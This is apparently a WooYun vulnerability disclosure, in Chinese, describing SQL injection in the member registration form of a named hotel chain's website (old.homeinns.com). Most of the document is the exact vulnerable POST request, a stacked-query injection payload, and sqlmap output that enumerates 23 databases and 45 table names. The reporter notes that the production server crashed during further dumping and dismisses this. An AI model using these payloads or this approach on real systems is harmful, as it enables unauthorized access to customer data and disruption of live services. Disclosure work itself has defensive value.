WooYun.org

http://old.homeinns.com
在这个网站中，本来找到洞，准备提交了，悲剧的是网站挂了，白帽子们太给力。。
拖到现在再交。。
大概就是一个查询框：

虽然在页面中有限制输入，但是还是可以抓包来跑。结果是存在注入点：
http://old.homeinns.com/member/registration_e.aspx (POST)
btncContinueReg=4111111111111111&btnReturn=1&btnSubmit=1&ChbProof=on&Citys$txtFCity=123*&ddlCertificate=JID&Gender=RadioBtnM&txtCertificateNo=1&txtCode=94102&[email protected]&txtMobile=987-65-4329&txtName=krmdttxk&__EVENTARGUMENT=&__EVENTTARGET=&__VIEWSTATE=/wEPDwUKLTU5Mjc5OTA1Mg9kFgICAw9kFgICAQ9kFgJmDxYCHglpbm5lcmh0bWwFBGNsdWJkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYEBQlSYWRpb0J0bk0FCVJhZGlvQnRuVwUJUmFkaW9CdG5XBQhDaGJQcm9vZpgnCYybRGztPFTQQAwkDGzOm7GO
结果：
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: (custom) POST
Parameter: #1*
Type: boolean-based blind
Title: Microsoft SQL Server/Sybase stacked conditional-error blind queries
Payload: btncContinueReg=4111111111111111&btnReturn=1&btnSubmit=1&ChbProof=on&Citys$txtFCity=123'); IF(7173=7173) SELECT 7173 ELSE DROP FUNCTION pjwB--&ddlCertificate=JID&Gender=RadioBtnM&txtCertificateNo=1&txtCode=94102&[email protected]&txtMobile=987-65-4329&txtName=krmdttxk&__EVENTARGUMENT=&__EVENTTARGET=&__VIEWSTATE=/wEPDwUKLTU5Mjc5OTA1Mg9kFgICAw9kFgICAQ9kFgJmDxYCHglpbm5lcmh0bWwFBGNsdWJkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYEBQlSYWRpb0J0bk0FCVJhZGlvQnRuVwUJUmFkaW9CdG5XBQhDaGJQcm9vZpgnCYybRGztPFTQQAwkDGzOm7GO
---
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
available databases [23]:
[*] CRS
[*] CRS_HistoryData
[*] Crs_OrderNo_Builder
[*] HCS
[*] HHotel
[*] homeinns
[*] Hotel
[*] ICRSDB
[*] IVRData
[*] mapbar
[*] master
[*] MDEC
[*] model
[*] MotelHCS
[*] msdb
[*] MT_AgentDB
[*] MT_CRS
[*] MT_Rujia_Transmit
[*] OTA
[*] profiler
[*] Rujia_Transmit
[*] tempdb
[*] WebPromotron
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: (custom) POST
Parameter: #1*
Type: boolean-based blind
Title: Microsoft SQL Server/Sybase stacked conditional-error blind queries
Payload: btncContinueReg=4111111111111111&btnReturn=1&btnSubmit=1&ChbProof=on&Citys$txtFCity=123'); IF(7173=7173) SELECT 7173 ELSE DROP FUNCTION pjwB--&ddlCertificate=JID&Gender=RadioBtnM&txtCertificateNo=1&txtCode=94102&[email protected]&txtMobile=987-65-4329&txtName=krmdttxk&__EVENTARGUMENT=&__EVENTTARGET=&__VIEWSTATE=/wEPDwUKLTU5Mjc5OTA1Mg9kFgICAw9kFgICAQ9kFgJmDxYCHglpbm5lcmh0bWwFBGNsdWJkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYEBQlSYWRpb0J0bk0FCVJhZGlvQnRuVwUJUmFkaW9CdG5XBQhDaGJQcm9vZpgnCYybRGztPFTQQAwkDGzOm7GO
---
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
Database: homeinns
[45 tables]
+---------------------------+
| PromotionLink |
| VIEW_AWARD_CATE |
| VIEW_Customer_List |
| VIEW_PROMOTION_THEME_CATE |
| VIEW_PROVICE_CITY |
| VIEW_PService_Cate |
| VIEW_Partner_Cate |
| ad |
| appliction |
| area |
| award_category |
| city |
| email |
| flash_new |
| flash_pic |
| home_award |
| home_awardTest |
| home_contact |
| home_customer |
| home_customer_list |
| home_customer_plan |
| home_event |
| home_hotelsort |
| home_intro |
| home_job |
| home_module |
| home_news |
| home_pService |
| home_partner |
| home_promotion |
| home_user |
| home_user_role |
| homeintr |
| insideflashimg |
| news_flash |
| partner_category |
| promotion_category |
| promotion_theme |
| province |
| pservice_category |
| question |
| suggest |
| survey |
| survey_cat |
| survey_member |
+---------------------------+
再跑第二表的时候服务器就挂了，应该不关我的事吧。。